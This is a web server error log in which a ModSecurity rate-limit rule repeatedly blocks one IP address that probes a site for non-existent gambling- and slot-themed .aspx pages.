[Sat Feb 07 14:23:34.192751 2026] [:error] [pid 58058:tid 58081] [client 65.108.2.171:11242] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYbaZrz-Qlvs65S4DP_BrQAAAZQ"]
[Sat Feb 07 14:23:36.774464 2026] [:error] [pid 50672:tid 50731] [client 65.108.2.171:29378] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYbaaA9o0jq1XS8Nv7P4rgAAAFc"]
[Sat Feb 07 14:23:39.363881 2026] [:error] [pid 50780:tid 50798] [client 65.108.2.171:29392] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYbaa-tUmIu2JHM2Crs5VQAAANA"]
[Sat Feb 07 14:23:41.926870 2026] [:error] [pid 55157:tid 55184] [client 65.108.2.171:29398] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYbabX36JdtTn2bTEox1hAAAARY"]
[Sat Feb 07 14:23:44.505652 2026] [:error] [pid 58058:tid 58081] [client 65.108.2.171:29412] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYbacLz-Qlvs65S4DP_BuAAAAZQ"]
[Sat Feb 07 14:23:47.086841 2026] [:error] [pid 50780:tid 50795] [client 65.108.2.171:19958] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYbac-tUmIu2JHM2Crs5iQAAAM0"]
[Sat Feb 07 14:23:49.674643 2026] [:error] [pid 50780:tid 50794] [client 65.108.2.171:19972] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYbadetUmIu2JHM2Crs5jQAAAMw"]
[Sat Feb 07 14:23:52.268692 2026] [:error] [pid 50673:tid 50741] [client 65.108.2.171:19976] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYbaeGVwLsaZ7aKO2cmh2QAAAIY"]
[Sat Feb 07 14:23:54.852996 2026] [:error] [pid 50780:tid 50805] [client 65.108.2.171:19990] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYbaeutUmIu2JHM2Crs5mQAAANc"]
[Sat Feb 07 14:23:57.427902 2026] [:error] [pid 50671:tid 50701] [client 65.108.2.171:60358] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYbafbvqLohWBI_mqBNWzwAAABU"]
[Sat Feb 07 14:24:00.002650 2026] [:error] [pid 50780:tid 50797] [client 65.108.2.171:60372] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYbagOtUmIu2JHM2Crs5ngAAAM8"]
[Sat Feb 07 14:24:02.595723 2026] [:error] [pid 55157:tid 55168] [client 65.108.2.171:60388] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYbagn36JdtTn2bTEox1qQAAAQY"]
[Sat Feb 07 14:24:05.172313 2026] [:error] [pid 43182:tid 43196] [client 65.108.2.171:39080] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYbahfEC82JnxmrnFYleMQAAAUw"]
[Sat Feb 07 14:24:07.744938 2026] [:error] [pid 55157:tid 55167] [client 65.108.2.171:39092] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYbah336JdtTn2bTEox1sAAAAQU"]
[Sat Feb 07 14:24:10.330596 2026] [:error] [pid 50780:tid 50802] [client 65.108.2.171:39108] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYbaiutUmIu2JHM2Crs5rQAAANQ"]
[Sat Feb 07 14:24:12.906011 2026] [:error] [pid 50672:tid 50714] [client 65.108.2.171:39122] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYbajA9o0jq1XS8Nv7P44wAAAEY"]
[Sat Feb 07 14:24:15.491233 2026] [:error] [pid 50780:tid 50790] [client 65.108.2.171:45576] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYbaj-tUmIu2JHM2Crs5tQAAAMg"]
[Sat Feb 07 14:24:18.080461 2026] [:error] [pid 58058:tid 58082] [client 65.108.2.171:45584] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYbakrz-Qlvs65S4DP_B0QAAAZU"]
[Sat Feb 07 14:24:20.666312 2026] [:error] [pid 58058:tid 58081] [client 65.108.2.171:45588] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYbalLz-Qlvs65S4DP_B1QAAAZQ"]
[Sat Feb 07 14:24:23.247795 2026] [:error] [pid 50672:tid 50710] [client 65.108.2.171:45602] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYbalw9o0jq1XS8Nv7P45wAAAEI"]
[Sat Feb 07 14:24:54.199776 2026] [:error] [pid 43182:tid 43184] [client 65.108.2.171:24278] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYbatvEC82JnxmrnFYleaAAAAUA"]
[Sat Feb 07 14:24:56.782974 2026] [:error] [pid 50671:tid 50687] [client 65.108.2.171:58968] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYbauLvqLohWBI_mqBNW_QAAAAc"]
[Sat Feb 07 14:24:59.365012 2026] [:error] [pid 55157:tid 55171] [client 65.108.2.171:58984] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYbau336JdtTn2bTEox14AAAAQk"]
[Sat Feb 07 14:25:01.955760 2026] [:error] [pid 58058:tid 58069] [client 65.108.2.171:58986] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYbavbz-Qlvs65S4DP_B9QAAAYg"]
[Sat Feb 07 14:25:04.539664 2026] [:error] [pid 58058:tid 58082] [client 65.108.2.171:58998] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYbawLz-Qlvs65S4DP_B9gAAAZU"]
[Sat Feb 07 14:25:07.122525 2026] [:error] [pid 50672:tid 50719] [client 65.108.2.171:43168] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYbaww9o0jq1XS8Nv7P4_gAAAEs"]
[Sat Feb 07 14:25:09.556890 2026] [:error] [pid 43182:tid 43191] [client 65.108.2.171:43170] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYbaxfEC82JnxmrnFYledAAAAUc"]
[Sat Feb 07 14:25:12.140918 2026] [:error] [pid 50780:tid 50788] [client 65.108.2.171:43182] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYbayOtUmIu2JHM2Crs6GAAAAMY"]
[Sat Feb 07 14:25:14.745657 2026] [:error] [pid 50673:tid 50747] [client 65.108.2.171:43198] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYbaymVwLsaZ7aKO2cmiKgAAAIw"]
[Sat Feb 07 14:25:17.179238 2026] [:error] [pid 58058:tid 58067] [client 65.108.2.171:45258] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYbazbz-Qlvs65S4DP_B_wAAAYY"]
[Sat Feb 07 14:25:19.760822 2026] [:error] [pid 50671:tid 50684] [client 65.108.2.171:45260] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYbaz7vqLohWBI_mqBNXFgAAAAQ"]
[Sat Feb 07 14:25:22.185185 2026] [:error] [pid 58058:tid 58078] [client 65.108.2.171:45270] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYba0rz-Qlvs65S4DP_CAAAAAZE"]
[Sat Feb 07 14:25:24.769487 2026] [:error] [pid 43182:tid 43200] [client 65.108.2.171:45282] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYba1PEC82JnxmrnFYlehQAAAVA"]
[Sat Feb 07 14:25:27.374702 2026] [:error] [pid 50671:tid 50689] [client 65.108.2.171:57682] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYba17vqLohWBI_mqBNXGgAAAAk"]
[Sat Feb 07 14:25:29.805340 2026] [:error] [pid 50672:tid 50721] [client 65.108.2.171:57686] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYba2Q9o0jq1XS8Nv7P5DwAAAE0"]
[Sat Feb 07 14:25:32.406152 2026] [:error] [pid 50673:tid 50743] [client 65.108.2.171:57702] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYba3GVwLsaZ7aKO2cmiQQAAAIg"]
[Sat Feb 07 14:25:34.986217 2026] [:error] [pid 55157:tid 55180] [client 65.108.2.171:28714] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYba3n36JdtTn2bTEox17wAAARI"]
[Sat Feb 07 14:25:37.604752 2026] [:error] [pid 55157:tid 55170] [client 65.108.2.171:28716] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYba4X36JdtTn2bTEox18gAAAQg"]
[Sat Feb 07 14:25:40.189559 2026] [:error] [pid 50780:tid 50800] [client 65.108.2.171:28732] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYba5OtUmIu2JHM2Crs6RwAAANI"]
[Sat Feb 07 14:25:42.775848 2026] [:error] [pid 43182:tid 43197] [client 65.108.2.171:28748] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYba5vEC82JnxmrnFYlekQAAAU0"]
[Sat Feb 07 14:25:45.373643 2026] [:error] [pid 50672:tid 50713] [client 65.108.2.171:48492] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYba6Q9o0jq1XS8Nv7P5EgAAAEU"]
[Sat Feb 07 14:25:47.991942 2026] [:error] [pid 43182:tid 43186] [client 65.108.2.171:48498] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYba6_EC82JnxmrnFYlelQAAAUI"]
[Sat Feb 07 14:25:50.572501 2026] [:error] [pid 50671:tid 50687] [client 65.108.2.171:48508] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYba7rvqLohWBI_mqBNXLQAAAAc"]
[Sat Feb 07 14:26:21.445410 2026] [:error] [pid 50780:tid 50792] [client 65.108.2.171:38962] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYbbDetUmIu2JHM2Crs6lgAAAMo"]
[Sat Feb 07 14:26:24.014683 2026] [:error] [pid 55157:tid 55183] [client 65.108.2.171:38964] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYbbEH36JdtTn2bTEox2KQAAARU"]
[Sat Feb 07 14:26:26.595660 2026] [:error] [pid 43182:tid 43184] [client 65.108.2.171:7422] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYbbEvEC82JnxmrnFYletgAAAUA"]
[Sat Feb 07 14:26:29.188323 2026] [:error] [pid 55157:tid 55186] [client 65.108.2.171:7428] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYbbFX36JdtTn2bTEox2LgAAARg"]
[Sat Feb 07 14:26:31.757145 2026] [:error] [pid 50671:tid 50682] [client 65.108.2.171:7436] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYbbF7vqLohWBI_mqBNXVgAAAAI"]
[Sat Feb 07 14:26:34.340280 2026] [:error] [pid 50780:tid 50802] [client 65.108.2.171:7446] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYbbGutUmIu2JHM2Crs6ogAAANQ"]
[Sat Feb 07 14:26:36.921764 2026] [:error] [pid 50673:tid 50759] [client 65.108.2.171:57664] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYbbHGVwLsaZ7aKO2cmifQAAAJg"]
[Sat Feb 07 14:26:39.492125 2026] [:error] [pid 55157:tid 55183] [client 65.108.2.171:57674] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYbbH336JdtTn2bTEox2NgAAARU"]
[Sat Feb 07 14:26:42.222098 2026] [:error] [pid 50671:tid 50693] [client 65.108.2.171:57682] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYbbIrvqLohWBI_mqBNXWwAAAA0"]
[Sat Feb 07 14:26:44.802107 2026] [:error] [pid 50672:tid 50708] [client 65.108.2.171:57698] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYbbJA9o0jq1XS8Nv7P5RwAAAEA"]
[Sat Feb 07 14:26:47.375834 2026] [:error] [pid 58058:tid 58077] [client 65.108.2.171:18944] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYbbJ7z-Qlvs65S4DP_CQwAAAZA"]
